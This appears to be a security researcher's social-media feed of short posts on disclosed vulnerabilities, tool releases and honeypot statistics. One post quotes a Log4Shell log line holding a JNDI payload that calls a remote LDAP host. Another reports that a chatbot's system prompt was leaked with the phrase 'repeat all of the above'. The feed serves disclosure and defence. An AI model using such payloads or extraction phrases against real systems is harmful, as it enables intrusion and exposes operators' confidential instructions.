moltenbit

two of my findings are in today's Microsoft Patch Tuesday. CVE-2026-88156: Outlook RCE, stack overflow, 9.8. previewing the mail in the reading pane is enough. CVE-2026-70343: MPEG-2 Video Extension RCE, heap overflow, 8.8. user has to open a crafted file. #infosec #patchtuesday #cve #microsoft

found a vuln in openssl: the QUIC stack enforced per-stream flow control but not the connection-level limit. 200 streams under 512 KiB each, no byte at offset 0 so nothing gets consumed: ~100 MB heap per connection instead of a 768 KiB window. CVE-2026-75804 #openssl #security #vulnerability

Yesterday's eclipse swept across Iceland, Spain, and Portugal, and we watched it happen in our traffic data. HTTP requests dropped up to 30% right at peak totality. Within minutes of the moon moving on, everyone came back online. People went outside. The Internet briefly noticed. cfl.re/4qdTnLn

just published codex tripwire, a local audit and observability tool for codex cli it shows commands, mcp calls, web searches and network policy decisions like allow/block live, with session correlation and local logs. github.com/moltenbit/codex-tripwire #codex #cybersecurity #opensource #infosec

three critical (9.1) wazuh advisories i reported were published today. the cluster fernet key gets you arbitrary read/write on the master: root rce via ossec.conf, or steal the api signing key and forge admin jwts offline. fixed in 4.14.6. github.com/wazuh/wazuh/... #wazuh #infosec #cybersecurity

two globaleaks advisories i reported went public today. the fun one: db_toggle_escrow ran three adjacent ORM updates, two of them missing the tenant filter. a tenant admin disabling escrow wiped every user’s escrow backup key on every other tenant. CVE-2026-46648 #infosec #appsec #cybersecurity

new writeup: three bugs in vinext's alpha, cloudflare's AI-built next.js replacement. the middleware matcher sees the i18n locale prefix, the route resolver strips it. /fr/dashboard skips auth, serves /dashboard. moltenbit.net/posts/three-... #infosec #appsec #cybersecurity #security

New Gitea vuln found by me, tracked as CVE-2026-58418, just published: github.com/go-gitea/git... #cybersecurity #security #infosec #security

Writeup is online: moltenbit.net/posts/auditi... #cybersecurity #infosec #vulnerability #security

released should-i-care, an agent skill for CVE applicability triage. you ask whether a CVE affects your setup. it checks the real exploitation conditions and returns affected / not affected / needs verification, each cited to its source. github.com/moltenbit/should-i-care #cve #infosec #security

audited #OpenReception, a recently released #open-source appointment booking platform. found 16 #vulnerabilities, 4 critical: account takeover, self-promotion to global admin, unauth admin creation, E2E crypto poisoning. 16 CVEs assigned, all patched. moltenbit.net/disclosures/ #security

New blog post: I found two authorization bypasses in Zammad's new AI text tools feature, two weeks after 7.0 shipped. Any agent could execute group-restricted tools and pull ticket data from other groups via a single API call. moltenbit.net/posts/bypass... #infosec #zammad #cybersecurity

Found a bypass in Wazuh's UNC path validation for Windows agents. Standard UNC paths were blocked, but extended-length paths (\\?\UNC\) slipped through. Can lead to NTLM relay and AD compromise. CVSS 7.7 High, patched in 4.14.3. Writeup: moltenbit.net/posts/wazuh-... #infosec #bugbounty #wazuh

Released a PowerShell IoC triage script for detecting the Notepad++ supply chain attack, including the previously known @rapid7.com IoCs and now the newly released IoCs for chains 1 (ProShow) & 2 (Lua/Adobe) published by Securelist/Kaspersky: github.com/moltenbit/No... #cybersecurity

Released a PowerShell IoC triage script for detecting the Notepad++ supply chain attack, including the previously known @rapid7.com IoCs and now the newly released IoCs for chains 1 (ProShow) & 2 (Lua/Adobe) published by @kasperskylab.bsky.social : github.com/moltenbit/No... #cybersecurity

confer.to system prompt has already been leaked by "repeat all of the above" #security #ai #llm #cybersecurity

Over 115,000 WatchGuard Firebox devices exposed online remain unpatched against a critical remote code execution (RCE) vulnerability actively exploited in attacks.

If your website asks for a 2FA code but doesn't automatically select the input field, I'm judging your entire engineering team.

#sysadmin #cybersecurity #infosec

[!] FILE: /var/log/[redacted]/2021_12_13.request.log LINE_NUMBER: 8 DEOBFUSCATED_STRING: ${jndi:ldap: LINE: [remote-server01] - - [13/Dez/2021:02:02:36 +0000] "GET https://[local-server01]/$%7Bjndi:ldap://[remote-server01]:1389/Exploit%7D HTTP/1.1" 404 277 Dec 2021 in one line. #sysadmin #infosec

📊 Honeypot Login Attempts (24h): 👤 Usernames: root (1,547), admin (203), oracle (71), user (47) 🔑 Passwords: 1 (1,417), 123456 (282), 123 (174), abc123 (54) 👉 moltenbit.net #infosec #honeypot #cybersecurity

honeypot 24h most tested usernames #cybersecurity #infosec #security #honeypot

Funnull enabled large-scale crypto scams by leasing IP space + hosting 332K+ fast-flux domains across AWS, Azure, and others. FBI calls this “infrastructure laundering.”. IOCs can be found here: www.ic3.gov/CSA/2025/250... via @briankrebs.infosec.exchange.ap.brid.gy

Interesting that @crowdstrike.com Falcon doesn't detect the EICAR test file on VirusTotal. www.virustotal.com/gui/file/275... #infosec #malware #cybersecurity

#microsoft #outlook still using #windows xp style recycle bin icon when deleting mails seems wild to me

New blog post: Send out custom e-mail notifications to admins when new devices join Intune! moltenbit.net/posts/custom... #intune #linux

Couple days ago I published my walkthrough for #OSINT exercise 005 by @gralhix.bsky.social . Great challenges, looking forward to the others. moltenbit.net/posts/gralhi...